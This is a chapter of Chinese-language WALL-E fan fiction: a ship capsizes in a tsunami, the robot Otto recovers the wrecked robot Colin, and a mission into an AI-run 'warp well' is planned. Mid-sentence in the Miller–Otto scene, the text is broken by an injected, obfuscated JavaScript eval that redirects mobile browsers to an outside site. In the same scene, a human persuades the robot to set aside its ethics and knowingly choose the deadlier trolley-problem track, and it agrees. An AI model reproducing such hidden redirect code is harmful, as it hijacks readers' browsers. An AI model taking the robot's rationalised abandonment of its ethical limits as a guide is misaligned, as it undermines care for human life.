猛然的爆破音骤然响起。船舱侧面重重拍击进海水里,才修补好的舰壁重新撕裂,巨量的海水自破口汹涌倒灌。舰桥的玻璃霎时被砸得粉碎,乌黑肮脏的海水紧随冲了上来。他的下半身似乎猛然跪进硬地,还在不断下压,扭曲的、撕裂的剧痛霎时贯穿了电子脑,应是双腿被狠狠碾碎。第一下冲击让舰桥尖锐的碎片重重抛起,又势不可挡地下落,将科林与电脑的连接尽数扯断。他沉重地向下方掉落,狠狠拍进向上涌动着的、高捧尖锐碎片的浊浪之中。CCNS随之骤然切断。 海水好不容易撤去,科林仿佛溺水之人,在晃动的水光中,艰难抬起手,正准备朝残破的控制台发射钩爪。一股湍流涌来,携带着沉重的碎片,将他狠狠埋了下去,再也动弹不得。不知是挤压还是穿刺,抑或两者都有,科林再度感到躯干内部什么被什么东西碾碎,疼痛节段猛地拉高。他只透过依稀的余光看到上方那遥不可及的控制台。然后垃圾被海浪裹挟着,盖住了他的视线。 舰体深处突然传来一阵沉闷的爆裂响声。不。科林用仅剩的意识思考着。拜托,不要是反应堆。 他没有机会弄明白到底是什么,但那一定是能源体系的爆炸。剧烈的冲击波自他面前掀起,连带压在他身上的沉重碎片,一同被抛出了破碎的舰桥。他被掀入泊区的海水中,金属身躯向下沉去。最终砸在海床上。浊流掀来,盖上一层卷起的烂泥。他没有意识到自己最后做了什么,只是连遗憾都没来得及。 35. 二十八(2) 奥托目睹了常量号发生的一切。C级飞船的承舰柱一定在海啸中遭受了破坏性的撞击,但是外表无法看到裂隙。当常量号的重量一压上去,承舰柱就彻底垮了。那根后柱在他面前破碎,常量号便失去了支撑,如同慢镜头一般,向海湾翻倒。然后,常量号的蓝色力场护盾瞬间失效。不久火光骤起,一道闪光而过,巨响回荡在整个海湾泊区。 他只听到对面那嘈杂扭曲的背景音中,几乎细不可闻的“快撤。” 有什么被猛然牵动了。奥托立刻向避难区发送救援请求,随即马上离开了控制台,不顾后方的两个看守,狂奔入电梯。那是一丝希望,即使这希望非常渺茫,可以彻底否决他现在的一切所作所为,但他不在乎了。即使推测指向非常不乐观,他也必须让此事有个结果,决不能让它就此没有下文。 他奔出最近的登舰平台,差点撞上迎面而来的两个机器人。定睛,伊芙正愕然看着他。 “我正找你——”伊芙用机器语言说,马上被奥托打断。 “EVE-01马上带我到常量号舰桥,以最快速度!” “但是那边还有爆炸!”伊芙抗议道。 “这是命令!即刻执行!”奥托斩钉截铁。旁边的瓦力被吓了一跳。 为什么会这样?伊芙惊愕地问自己。她以为自己早就不用再服从奥托的命令,但现在她却无法拒绝。对方的话语此时有种莫名的力量,甚至压倒了拒绝的冲动。 【马上回来。】她悄悄对瓦力说,【等我。】 伊芙抓起银色机器人双手,飞速冲进前方的海域上空。瓦力呆呆地目送他们一阵,也忽然冲下登舰平台,沿着海岸朝他们的方向飞速跟进,望远镜筒似的双眼紧紧盯着那个在空中急速前行的点。伊芙绕开了正在燃烧的常量号舰体,在常量号舰桥处减速。瓦力停在了海岸上,极目远眺他们的一举一动。 “你去搜寻生命信号,尽你所能救援出来。”奥托将之前科林共享给他的避灾方案截给伊芙,上面显示有人员会留在能源与推进系统附近待命。“现在只有我们了。”随后他跃入破碎的常量号舰桥内,开始飞速扫描舰桥的每一处。伊芙一愣,但没有迟疑,马上向飞船后方飞去。 常量号舰桥的舷窗尽数震裂,原先精密的电子设备浸没在满布垃圾的海水中。整艘飞船失去了全部电力。线索在哪里。奥托留意到被扯断的数据线,半截在海水中飘摇,和现在垂直的舰桥地面上那道钢钉痕迹。他毅然跳进海水中,在昏暗的污浊海水里全盘扫描。层层叠叠的沉重碎片挡住了他的视线,他也没有办法抬起它们。不。不要埋在这些碎片下方。他没有看到另一个银色身影,久违的焦虑隐隐作祟,而它似乎有愈来加剧的趋势。 一定会找到的。他自舰桥的破口向后蹬去,进入开放海域。余波带来的海浪震荡让他几乎站不住,即刻将他拽离了那个破口,连带着大片的碎屑,在海底来回摇动。找到的可能性再度下降,已经贴在了0的表面。但他现在不想去计算可能性,不愿因可能性放弃他现在的举措。 一个暗流席卷而来,他不自主地被推远数米。再度站定,他却发现,海床上散落的碎片,以舰桥为中心向外散成一片扇形,这是冲击波产生的遗迹。而这些碎片的流动范围尚无更大改变。只能现在,再拖延机会更加渺茫。他飞速计算当前碎片的体积与质量所落在的扇形范围,即刻开始执行地毯式排查。外部的碎片至少没有堆叠在一起。如果他动作够快,那是一定能找到的。 伊芙很快从常量号船舱飞了出来。爆炸没有再次产生,也应当不是来自反应堆,因为她没有受到电磁干扰的影响。但是很不幸,船舱内完全没有任何生命信号,也没有幸存的机器人信标。能源与推进系统一片狼藉,正被熊熊大火炙烤,无法进入。她思考片刻,举起等离子枪,对准舱外轰击数发,海水猛然涌进来,火势略为减小。她扫描过内部,温度高得吓人,任何生命都会化为灰炭。她再度对飞船外壳射击,海水灌满了滚烫的船舱内部,浓烟滚滚而起,掩盖了大半艘飞船。 她落在海面上空,至少现在,这艘船已经毫无希望。 “伊——娃——!”她远远听到海岸上传来熟悉的声音。迟疑片刻,迅速地朝那个渺小的、正在和她招手的点飞了过去。 如果能选择看到特殊的波段就好了。奥托仍然贴在海床上,一点点搜寻过去。海床上,到处都被昏暗的海水染成一种沉闷的、暗淡的冷色调,离得略微远一些,就根本无法辨认半埋海底的各种物品。随水流晃动的物体没有像他这样的,搜寻范围缩窄了一小半。但海床的淤泥也在逐渐覆盖沉底的一切,他必须将可疑的物体挖出来。搜寻的难度丝毫未减。 随着最可能的区间搜寻接近尾声,刚刚还稳定的可能性又开始下降。这不可能。任何事物都不可能凭空消失。奥托不禁加快寻找的速度。但是当他放眼朝碎片遍布的海床望去,另一种可怕的推测涌现。这个推测的新区间指向扇形尾端,但那也意味着,这个推测只有一个结果。 一种难捱的情感正逐渐取代焦虑。他为此感到痛苦异常。这个区间搜寻完毕,可能性已经被彻底排除。那个推测立刻跃入第一队列。他望着海水深处,突然丧失了继续搜寻的欲望。 接下来该怎么办?海量的事件推演过后,他茫然地站在海床上,半天都无法挪动一步。 他最终垂下头,向扇形尾端迈去。这是给自己的交代。 扇形尾端只有大量细小的碎片,较小的质量让它们被抛射在远方。他仍然没有看到和自己的构成一样的碎片。顶端海水略微变亮,外面开始云开雾释。很快,第一缕阳光洒下海底,能见度稍微好了一些。海底一些细小的金属碎片开始反射出明亮的光线。 就在他转身的刹那,海床远方似乎某处传来一瞬微弱的闪光,比满地的细碎闪光要明亮得多。他定睛,闪光却消失了。但当他再度变换位置,那股闪光又出现了,此时稳定下来,正对他的方向。 奥托追了过去。那是一个半埋在泥沙中的大片光滑合金碎片。刚刚的反光是它发出来的。机器人大失所望,正要离开,一阵暗流涌来,那个玻璃碎片的底下的泥沙被冲开了。而固定合金碎片的,是一只紧紧抓着它的金属手。它正随着海流轻轻晃动,造成了刚刚改变方向的反射效果。 他立刻拂开覆盖的泥沙,和他一样的金属躯体显露出来。虽然在扇形尾端的区域找到科林,但奥托反而大为释然。虽然下肢支离破碎,虽然整个腹部都被压扁,那个机器人也早已下线,但科林的逻辑组件一定没有受到严重的损害,否则也不会下线前将自己固定成这样的姿势。奥托抱起科林,向海岸艰难前进。 当他们快接近海滩时,一阵蓝光自天顶而降,笼罩住了两个人形机器人。奥托抬头,伊芙正浮在海面上空,俯视着他们,白色身影被波光摇得变形。他继续向前走,海水继续变浅,银色身影露出水面。伊芙降落在他面前,蓝色双眼瞪着了无生息的科林,目瞪口呆。 “无人生还?”奥托站定,问伊芙。 “无人生还。”伊芙回答,视线一刻不离那个下线的探索者。“这……” “可否将我们带进O区?”奥托向地球镇望去,极目都是狼藉。 瓦力望着两个机器人,伊芙显得有些为难。 “我试试。”伊芙最终捞起两个个体,略微有些平衡不稳,但很快向大陆深处疾速飞去。 【你还知道什么?】飞行途中,伊芙经由内线问奥托。【关于未来的。】 【地球镇应当有大半年不会再遭受这样直接的冲击,但我看不到更多的了。】 【为什么你知道未来的事情?】伊芙继续问。【即使你计算能力强大,也不应该获得这样的能力。】 【我不清楚欧罗拉对我做了什么。】奥托回答。【她没给我看过地球镇的后果。】 三者沉默了。 【……到底会发生什么?】伊芙有些忧心忡忡。 【地球表面将被大质量小行星重塑。也就是说,如果来不及撤离,无人能够在上面活命。】 瓦力也听到了。三者再次陷入沉默。 【所以……我们得重新起飞了。】伊芙说,不禁喟叹一声。【又要回到之前的时光吗?听起来挺如你愿的。】 谁都听得出来这其中的讽刺。然而,奥托早已无心反驳。 【可能你们是的。】他只回应。 伊芙猛然觉得不对劲起来。奥托刚刚说的是“你们”。 【接下来你要干什么?】伊芙有些忐忑地试探。【现在看来,公理号需要安排翻新了。然后你带着起飞?】 伊芙的预感证实了,奥托果然沉默了。 【公理号的控制权已经转交了。】奥托终于回答。 【什么?】伊芙大为困惑。 【其他人接管飞船。】奥托说,【我不再管理飞船事务。】 两个机器人震惊不已。 【但那是你的指令!】伊芙怎么也想不到,对指令一向看重的奥托,居然会作出这种最不可能的选择。【你这到底是怎么回事?】 他们越过O区界线,掠过空荡荡的残楼。 【伊芙,我现在的‘指令’,已经远远超过原先的飞船范畴。】奥托冷静地说。【我需要重新进入超空间基地。】 【可是公理号怎么办?】奥托没有成功说服伊芙。 【公理号有继任者。】 【什么?你是说这个奄奄一息的家伙?】伊芙更是吃惊。【他怎么可能管理公理号?!他只能管理常量号!】 【不一定是科林。】奥托说。【但是,此时我确实没办法重新管理飞船。】 伊芙突然沉默了。 【为什么?!这一点道理都没有!】伊芙突然吼道,【就算转交了控制权,也只有你能安排好公理号的事务,你要是离开了,大家不得乱成一锅粥吗?】 奥托沉默了。 【稍后我给大家个声明吧。】奥托说,【但是伊芙,事至如今,飞船管理事小,如果不解决掉这些未知的障碍,贸然只把关注点放在飞船上,恐怕最终并非能够顺利起飞,反倒可能遭遇不测,让之前的努力都一切白费,就和常量号一样。】 瓦力和伊芙听了只觉一阵寒意。 【我也希望能够亲自安排公理号。但是目前,只有我成功与折跃井接触。之前那些失踪的机器人,都被带去折跃井,尝试与它接触,但是失败了。它们彻底杳无音讯。为了避免更多无谓的伤亡,我必须放弃飞船,亲自前往折跃井。】 【我会尽量返回公理号。但是,假如我回不来,接下来,只能你们自己去争取生存了。】奥托继续说,【这150年证明,没有我的存在,公理号社会仍能顺利运转。所以不要怀疑自己的能力。】 瓦力和伊芙又沉默了。 【老天爷啊……】伊芙有些颤抖地回应。 瓦力忧愁地看着伙伴,伊芙的情绪都被他感知到了,他自己的心情其实也和伊芙一样,都为此深深不安。 他们降落到O区避难地,米勒夫人正等着他。 【祝你们平安。】他回头看了一眼仍停在原地的这对恋人,只说了这一句,然后结束了近距离内线通讯。 “我需要找到露丝,马上见到她。”奥托对米勒夫人说道。一个小机器人飞驰过来,那是常量号的GO-4,大佬。卡尔上尉随后而至,两者见到破碎的科林,霎时呆在原地。 三者相觑无言。最终,奥托伸出手,将科林转交给卡尔上尉。“其他常量号留舰个体全部牺牲,但他还有希望。” 卡尔上尉郑重致谢。大佬也举起机械爪致礼。 露丝赶来,她也获知了常量号的倾翻惨案。听闻搜救经过后,年轻的女机器人学家的目光久久落在那具令人心惊肉跳的残破金属身躯上,又望向狼藉的计算机中心,最后转向面带期待的两个常量号个体,显得有些窘迫。 “我会尽力。”露丝最终说。 大灾过后,生活仍得继续。虽然根据欧罗拉的情报,地球镇在接下来的六个月内不会再有与此相当的大灾出现。但如此大面积的建筑毁坏、农田废用,直接让大区的大多数人失去了生活来源。与此同时,庞大的人口与现存匮乏的粮食储备构成巨大矛盾,集中现有粮食并实施有限的资源分配后,仍然难以持续到建筑重建与收获。O区的合成食品产量低下,大区人员滞留O区境内,对生活来源的恐慌与对未来的恐慌极大打击了地球镇人的生存信心。大量人群如此集中地生活在一个狭小的区域,民事矛盾纠纷发生率不断上升,盗窃、打架斗殴等犯罪行为也开始猖獗。每日地球镇都出动大量人力物力进行镇压,但经济来源陡然截断,让镇压行动也苍白无力。 常量号人员编制鲜明,组织严密有序,即使知晓自己飞船已经损坏,但卡尔上尉发出二级战备状态,严令全舰人员必须执行舰纪,坚守岗位,禁止擅自离岗乱纪,违者严惩不贷。命令一级级下达,各层舰员都强制执行。因此常量号舰员虽然损失最大,但倒是全地球镇最安静的人群了。 连续数日,地球镇都笼罩在一种鲜艳又诡谲的色彩当中。阳光失去了春日应有的温度,透出一种发蓝的诡异色调。一到傍晚,更是整个天空都被鲜艳的橙色渲染,太阳都消失了,好似空气就是橙色染料,把土地和仅有的建筑全都染成艳丽的橘红,过了十几分钟,染料逐渐氧化,橘红加深,饱和度却不减,逐渐过渡到玫瑰似的色彩。最后整个天空都发着红紫,紫罗兰色调里调进更多的蓝色,又变成明亮的青紫色,最后进入深蓝。等到夜幕降临,这疯狂的调色盘才淡化、谢幕,终结了这天人们对此引发的梦魇幻想。 这样的狂野景象将持续数月。在艺术家看来,这无疑是无限的灵感来源。英国浪漫主义风景画家威廉·特纳的大量作品中都出现了这种标志性的鲜艳黄橙色天光,那反映的是1815年地球另一边,印度尼西亚坦博拉火山的杰作。巨量的火山灰在大气层中游荡数年,增强了大气层的瑞利散射,导致远在另一边的欧洲也数年浸泡在这种艳丽的夕阳之中。甚至名画《呐喊》那扭曲的红橙色天景也据传与1883年喀拉喀托火山喷发有关。而这次不能窥见的流星体,也显然向大气中抛入了大量的撞击灰尘。然而,诡秘的天色不仅仅是异常之美,人们所传的灾兆实际上确有依据——大量灰尘意味着天日遮蔽,寒冷将随后而至,草木将败于暗淡与寒冬之下,歉收甚至绝收的例子比比皆是。这对即将进入耕作季节的地球镇而言,无疑是雪上加霜。 地球镇呼吁人们走出避难所,积极开展清理与重建工作。但是抵制的人群大有人在,失去粮食与庇护所保证的人们认为,这是地球镇对他们的背叛与排挤。因此灾后清理与重建推进相当困难。第二个计划才算稍微解救了一下窘境。它安排人们有序登上公理号,进行舰内彻底清洁、重启飞船反应堆与食品合成罐,配合地球镇新开发的技术。食品缓慢涌出,加上舰内环境改善,与大空间钢铁堡垒的接触让人们安定下来,总算达到一定的安抚目的。 公理号发射的那个作为同步卫星的探测飞船,此时不仅承担着深空观测任务,也成为了整个地球镇的信息中继站。远在O区北面的大区人得以与海岸边的个体交互,这在近一百年来,竟然是首次。 常量号人没有一直留在O区。很快,常量号人也分批进行舰内调查,整修与重启舰内可用的设备。另外一批人则积极参与到O区和公理号的修复工作中。外来异客不计损失、主动的援助行为让地球镇居民大为惊讶,也好感大增。他们活跃在公理号的每个舱层,与地球镇技术人员积极分享常量号的修复经验。他们只要求提供足够热量的食物和庇护所,没有要求其他更多的支持。接受帮助的这些人自然大为感激,主动安排他们在舰内的居所。只是地球镇人观察到,这些天外来客即使在休息期间,都不愿摘下身上佩戴的辅助器件。当有技术人员询问他们头颅上贴着的小圆片是什么,他们只笑而不答。 卡尔上尉和大佬则辛苦奔劳于海岸边与计算机中心。科林全身机身受损严重,双下肢必须完全替换,腹甲下方的液压泵完全裂开,上方电池也被挤出裂隙,打开腹甲的瞬间,胶冻状的电池液溢在整个腹腔,和残余的海水一起涂满所有内部零件,电池液混合海水腐蚀部件的刺鼻气味引人掩鼻。接线也被尽数扯断,残端发黑污染。表面上看似受损较轻的头胸部位,实际上内部也被冲击波震荡得裂隙满满。仿生电子脑背侧则有可见的小块压损。 劳伦斯也为此感到非常为难。虽然经大佬检视,那块中心初始芯片没有受到严重损害,这是不幸中的万幸。但是后续好不容易接入查看的仿生神经网络却表明,仿生神经结构已经紊乱。这意味着,科林可能被重新启动,但是他极有可能丧失进入此躯体后获得的记忆,并且出现严重的人格改变与行为障碍。再也无法重新服役。那份EP资料上,也没有记载相应情况的处理措施。地球镇的水平也远不足以支撑制造一份仿生电子脑。 露丝长叹一口气,对卡尔上尉说明此事后,便开始着手这份漫长的修理工作。她本以为自己不用再处理EP系列的棘手问题,没想到,科林的情况比奥托当时的还要严重。命运弄人啊。她默默想着。 卡尔上尉和大佬交替前往海岸。晚上有时是卡尔上尉守这个房间,有时是大佬。但到后来大佬守得更多一些。露丝也无暇顾及他们——毕竟,本舰成员再怎么动手,也是常量号的事了。 150年来离开公理号生活至今的人们,在处理公理号事务之时,却没有发觉一个显而易见的事实:给他们安排、分配与下达这些任务的人,并非曾经精于此道的奥托。 银色机器人并不闲。海啸灾害结束后,米勒夫人正式开始筹划第一次折跃井交流行动。小楼地下室的那张画打破了自存在以来的沉默,开始对折跃井研究小组的成员予以回复。但它仍然寡言少语,对于研究小组的问题,只能回答是或否。它表示同意地球镇人员进入,却不能对图灵测试作任何解释。 鉴于欧罗拉没有提到其他任何人工智能的存在,奥托认为,这个与他们沟通的智慧体不是欧罗拉,而是她的功能受限的副本。至于折跃井一直避而不谈的图灵测试问题,奥托和米勒夫人一致认为,这证实了折跃井想通过此筛选能够接触超空间基地、甚至欧罗拉的个体。而筛选的标准也初步根据奥托的首次经历归纳而出,大致有理性判断、认知广度、线性推理、非线性推理和可能的初级人格状态判定。总的说来,能成功进入折跃井的个体,很可能需要有一定的科学储备,有创造性思维和较高的异象接受度。这也和最终达到成功理解欧罗拉存在的目的相一致。 这导致成功进入折跃井的地球镇人选范围大大缩窄。但米勒夫人不愁这一点。虽然折跃井对图灵测试讳莫如深,但它之前早就暴露了自己的偏好——米勒夫人把之前与折跃井接触过的人员名单都翻出来。他们都是曾经灵光一现,触碰到逐梦计划边缘的各领域科学家,或精于创新的技术员。 但是米勒夫人也深知,这些人除了对逐梦计划或者折跃井送上门来的新鲜技术感兴趣,一听说要冒生命危险进入折跃井,基本上都会打退堂鼓。自愿接触超空间基地和欧罗拉的人少之又少。她也不能强迫这些不愿进入的人进行第一次接触,因为不信任与抵触本身就可能成为进入超空间基地的阻碍。因此,她只把这份名单的人员特征作为推测折跃井图灵测试的评价基线,没有真正从中抽出任何人。 米勒夫人最终选择了招募方案:将折跃井和超空间基地的秘密向O区广而告之,吸引任何对此感兴趣的人前来,并进行初步的水平筛选。既然曾经折跃井的存在就被当成禁忌的秘密,在O区科研人员底下私自流传,能让劳伦斯和特纳等人对此大感兴趣,那么一定还有其他尚未着手调查的个体。如有对此感兴趣之人,必然为此欢欣雀跃,抓住此机会前来报到。 最终,第一次超空间基地接触小队组建完成。一共有5个个体。带头者是奥托,剩余4个人类分别是劳伦斯、沃尔特·德卡德、一个折跃井研究小组成员,以及另一个O区研究员。 米勒夫人打算在这次行动成功之后,也对大区开放招募。 她还想配备随行的机器人,但是鉴于面对的是功能有限的欧罗拉副本,即使现在开放人员进入,仍然很难保证网开一面,因此配备机器人的条目暂时搁置了下来。 第一次进入折跃井的目的是深入了解超空间基地的发生与维持机制,与欧罗拉的运行基础。他们还要欧罗拉与地球镇共享逐梦计划的所有知识。欧罗拉现在理应知道,超空间基地的存在在地球镇上已经不是秘密了。她既然允许这种事情发生,而且他们的诉求对流星体计划本身没有毁灭性的冲突,那么她就没有理由拒绝他们的这些诉求。当然,考虑到劝欧罗拉改变流星体下落时间可能激活西本的敌意,虽然米勒夫人很想拖延残存的西本对流星体降临的步伐,给地面的人们留出足够的撤离时间,但讨论过后,最终没有将这一条补进首次折跃井进入计划内。 劳伦斯和折跃井研究组成员将倾尽全力说服欧罗拉共享逐梦计划全貌,并将其传回O区。深入研究超空间基地与欧罗拉的任务则落在沃尔特·德卡德和另一个O区研究员身上。奥托,则作为引路人,米勒夫人让他维系欧罗拉,保证这四个人顺利在折跃井完成任务。 任务分工之后,米勒夫人让劳伦斯向大家阐述神经连锁的功能与特点。瘦高的男人通过奥托,已经顺利彻底了解到折跃井内的境况,不仅有视觉与听觉,甚至还有触觉描述。他为这神经连锁的效果感到大为惊奇,没想到居然真的能如此稳定地传送如此真实的记忆。他原本打算准备继续着手研究人与人之间的连锁。因此一开始有些抗议米勒夫人这个时候让他进入折跃井。但听闻自己的任务后,他倒是陡然兴奋起来。既然神经连锁也是欧罗拉想要的,那么欧罗拉不仅不会杀了他,还会协助他顺利完成研究。 米勒夫人倒是对神经连锁那花里胡哨的特效不感兴趣。她决定让剩下三个人都植入这样的微芯片,以便在超空间基地中,及时通过奥托同步获取欧罗拉的情报,从而发现端倪。她让劳伦斯和奥托对神经连锁进行修正,增强了密语交流功能,并增加了交流开启与关闭的灵敏度与准确度。 这个老太婆想干什么?劳伦斯心存疑惑。按理说,他们的工作已经是在了解欧罗拉,为何又要通过奥托来间接了解?如果是为了不打草惊蛇,劳伦斯觉得,这也过于小看欧罗拉和西本了。 尽管如此,他还是照做了。剩下的三个人,每个都在头皮下植入了那个不起眼的小玩意。 事后米勒夫人单独叫上奥托。机器人才发现,他的任务其实根本不是在会上说的那样。 她让奥托说服欧罗拉,更新管理图灵测试与折跃井的副本,降低筛选进入折跃井的水平,并解除对其余机器人或探测器的进入禁令。然后,说服她拓宽超空间基地的规模。如果有可能的话,启动地球镇其他可能存在的所有折跃井。欧罗拉存在的阻碍只有她能调配的资源多少。 听完,奥托沉默很久。这些任务显而易见都为一个目的服务。 “这终究不是长远之计。”他说。“超空间基地顶不住忒亚二号。” “我认为这恰恰相反。”米勒夫人靠着椅背,双手相握放在台上。但是认真地看着独眼机器人。 “奥托,你听说过‘电车难题’吗?” “有数以百计的变式。” “那么,你是否实践过其中任一?”米勒夫人凑近前,和昏暗房间里的圆形红光相对。 奥托沉默了。 “实际上,我会从一开始就规避产生这种难题的可能。”奥托说。“是的,没有实践过。” “如果说,你必须实践呢?”米勒夫人继续提问。 圆形红斑盯着米勒夫人,那里面没有一点点人类能辨认的表情成分。最后红斑缓缓移动到地面上。 “我不知道。”他细不可闻地回答。 “电车难题从来没有正确答案,也没有所谓的最优解。”米勒夫人见状又靠了回去。“我想知道的只是,如果你必须得做这件事,你会不会还没有做,就被道德感烧坏脑子。或者在目睹的过程中禁不住折磨发疯。” “我不知道。”依旧细不可闻。 “我可是听说BNL的机器人都能轻松通过电车难题的测试。”米勒夫人冷冷地看着他。 米勒夫人说的是对的。单独给他电车难题,他也完全能达到BNL的机器人伦理规范要求。但是,这一次他扳下的扳手,只能使电车撞击到更多人的那条轨道上。而且,无法判断两条轨道上人物的任何特点,也无从安慰自己。这无异于蓄意杀人。 换在以前他是一定会疯的。但是现在只有空白。 “如果是你是人,我就会这样劝你。”她识破了奥托的窘境。“之所以有这样的困扰,正是因为自大地认为自己能拯救多少人。但是,如果换个角度理解拯救,或许不是什么难事。” “对人类而言,拯救不仅仅是保持生命。”米勒夫人继续说。“你还记得当时麦克雷舰长和你的争论吧,他所认为的拯救,就不是保持生命,而是有质量地生活。这个时候,你所认定的保持生命,在他看来,反而是一种伤害。” 红光猛然从地面上重新移动到米勒夫人脸上。 “地球镇一定会有大量人死亡的。”米勒夫人继续讲,“无论你做电车难题与否,这都将是不会改变的事实,你认同吗?” 独眼机器人沉默地点头。 “但是死亡的方式可以是幸福的,可以是痛苦的。” “如果你扳动的扳手,会给原本被电车残忍压死的人,变成更为幸福的一种死法,这是否算是一种拯救?” 他沉默了。 “对幸存的人而言,目睹其他人幸福死亡,比目睹另一些人残忍死亡,是否也是一种拯救?” “或者将双方从无尽的争夺之间双双走向毁灭解救出来,是否还是一种拯救?” 红光仍然照在米勒夫人脸上,默不作声。 “生命,在人类看来,并非那么至高无上。人类是反复无常的生物。或许前一天还认为生命神圣而不可侵犯,第二天就会将自己是生命献祭给信仰。”她说,“而且,你无法阻止。” 奥托默然不动。 “你能否顺利扳下扳手,取决于你能否理解这些新的定义。”米勒夫人继续靠在椅背上,冷眼观察机器人的反应。“我想你有能力定夺。” 奥托仍然没有作声。米勒夫人平静地观察独眼机器人。她其实不抱什么期望。她也知道,哪怕是人,都很难在这种情况下接受她的论述,去作出违背良心的举动。更何况是有既定程序规定的机器人。人类身上不堪一击的道德感,在这些可怜的机器身上变成了无法逾越的本能。她早年在O区见过不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706301|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少因此烧坏芯片的机器人。眼前这个机器人,似乎因逐梦者计划获得了更多类人属性,但还不知探索者机型是否给了他相应的自由。 昏暗的房间静谧无声,只有血流通过内耳的营营声响,失去噪音压力的鼓膜也有些发涨。即使这样,米勒夫人甚至没听到奥托产生一点点声响,换其他机器人,高速运转的嗡嗡声早将他们激烈的程序斗争表露无疑。 “我知道了。” 长得令人有些不耐烦的犹豫之后,独眼机器人终于回应。 米勒夫人变换了姿势,脸上看不出表情变化。 “很好。” 看来奥托的潜力非常大。通过这个机体,他不再受机器人伦理约束了。米勒夫人心想。也难怪欧罗拉选择他。 这个机器人现在看不出其他打算。只不过,他后面会不会变呢?米勒夫人想。正如她所说,人类是多变的。青年时期满腔正义的人,到了晚年就沦落到利欲熏心,这样的例子比比皆是,历代圣人也难逃此劫。奥托虽然是机器人,但他不再受机器人伦理约束,眼下看来,和人类无异。 “我可以有所请求吗?”她的注意力被陡然拉回。 “什么?” “保证小孩和真正热爱太空的人走。” 米勒夫人注视着他,眼里陡然闪过透着一丝冰冷的赞许和信任。“我完全赞同和支持你的请求。” 奥托离开了密室。 和米勒夫人想得不同,他其实压根就没为这个电车问题伤脑筋。 在沉默之中,原先死气沉沉的鬼城地球镇,首次出现了人影。突然的程度和海啸的出现一般,一点点计算过程都没有感到。 飞船离开了,剩下的人留存在超空间基地里。地壳被掀起,超空间基地不复存在,这些留在地球上的人毫无疑问已经被彻底歼灭,连尸骨都消失无踪。 但是,他竟然“感到”了他们的存在。他们还活着。存在的信号,甚至比乘星舰离开的人还要强烈。 这种与事实强烈相悖的“推论”——他现在开始认为这确实依附于某种逻辑,而不是发疯产生的臆想——每次这个幻象有了新的变化,都令他震撼不已。这种幻象究竟是什么,它产生的基础又是什么,为什么那些人还存在,为什么能知道他们存在,又为何比在星舰上的人的存在还要强烈……显然他绝不能停留在这个表象上,要学习的还有很多,很多…… 只有欧罗拉知道为什么。他必须继续前往折跃井。而且首次,他发现前往的理由,不再只是拯救人类。 经由同步卫星,即使身处地球镇任意位置,机器人们都可以随意交流,不再像以前那样依靠公理号衍生的基站,只能在大区,而且是近飞船范围内进行沟通。它们表面上正分散各处,不辞辛劳地为人们的灾后重建提供基础支持,实际上,在这个支持了更大范围的ACNS中,他们惊喜于奥托的回归,又惊愕于他作出的决定。和伊芙异曲同工的质问把信道挤了个水泄不通,但很快,大家也和伊芙一样沉默了。 奥托没说更多。事到如今,他不奢求公理号机器舰员们的理解。只是希望大家接受现实,将所有精力都放在高效修复飞船上,以求撤离时万事俱备。其他以外的一切质疑,都和此目的相悖,但他无法控制其他机器人的意见。 他本以为会继续遭到更多的质问。但出乎他意料的是,没有。相反,他却惊讶于机器舰员们接下来的话。 【假如你成功了,我申请一同进入折跃井。】一个机器舰员说。 【我也是。】 【加我一个。】 …… 【我们不能苟活于世,留老大一人守后方。】 【我们没有那么恋生,太空的日子过腻了。】 【老大,一旦有需要叫上我。】 …… ACNS被海量信息淹没。他看到,希望留在地球上的公理号舰员的信标不断点绿,数量不断增多,星星之火颇有燎原之势。 他只呆呆地望着绿意盎然的枯园,百感交集。一时间说不出任何话来。 【给个意见吧,老大。】一个机器人说,【我们准备好了。】 【……为什么?】他面对渐渐平静下来的绿潮,不相信似的问。【为什么你们不去上飞船?那是最符合逻辑的选择。】 【直到现在,我才有机会去真正选择做指令或者人类命令之外的事。】一个机器人解释,【如果我选择回到飞船,以后的也不过是重复以前的生活而已。】 【生,也就那么回事。死,那是迟早都会经历的。】 【在这点上麦克雷舰长确实给我们树了榜样。】 面对众机器人的说法,奥托沉默了。他没想到,机器舰员竟然抢先一步践行了米勒夫人的论点。 【你们真的想跟随我面对折跃井吗?】他沉默地问。 赞同声一片。 前公理号自动驾驶再次沉默了。 【好。】他同意了。ACNS中爆发一片欢呼。 【听我命令。在我挑选合适人选之前,所有个体必须全力以赴完成地球镇上的任务,全力修好公理号。选择了之后,其他个体也必须继续执行这个命令,不得擅自离岗跟从。】他给ACNS下了命令。【所有人命令确认!】 可能这是公理号离开前自己能给的倒数的命令之一了吧?这么想着,他竟然有些释然。 看着他们完成确认,奥托却很不是滋味。确实,他需要帮手。但是他不愿意让这些个体白白丢掉性命,哪怕他们是自愿送死。 他感觉自己利用了这些机器舰员的信任,即使根本没有此意。根据他刚刚对ACNS内陈述的情况,他们理应能够完全理解此事的危险。哪怕是和他一样,对未来已经毫无希冀,也远不该在这个时候信任他。 人类也一样。他想起米勒夫人的论述。到底有多少人抱有这样的念头?为什么他们愿意为虚无缥缈的、甚至是虚假的事实,付出自己的生命?甚至有一些,根本没有现实里的困境。要说是寻求刺激,这种牺牲也太过于草率了。 他望向狼藉的O区,看着那些奔波于灾后重建的人影,只感到深深的无力。 【可进入折跃井的机器人已经待命。】尽管如此,他向米勒夫人发去报告。 在他沉思的时候,突然肩上传来一拍。 回头,是汉·肯特。 少年的表情却有些异样。他盯着奥托,嘴角有些抽搐。 “为什么你拒绝了我提交的进入折跃井申请?!”少年对奥托吼道。“你们明明欢迎任何人前来!” 深不可测的单镜头沉默回应少年的怒火。确实是他拒绝了少年。刚刚才被机器船员们的决定所震惊,现在面对少年的质问,奥托陡然心里一沉。 “不要和折跃井扯上关系。”机器人生硬地回答,“呆地面上,老老实实跟星舰走。” 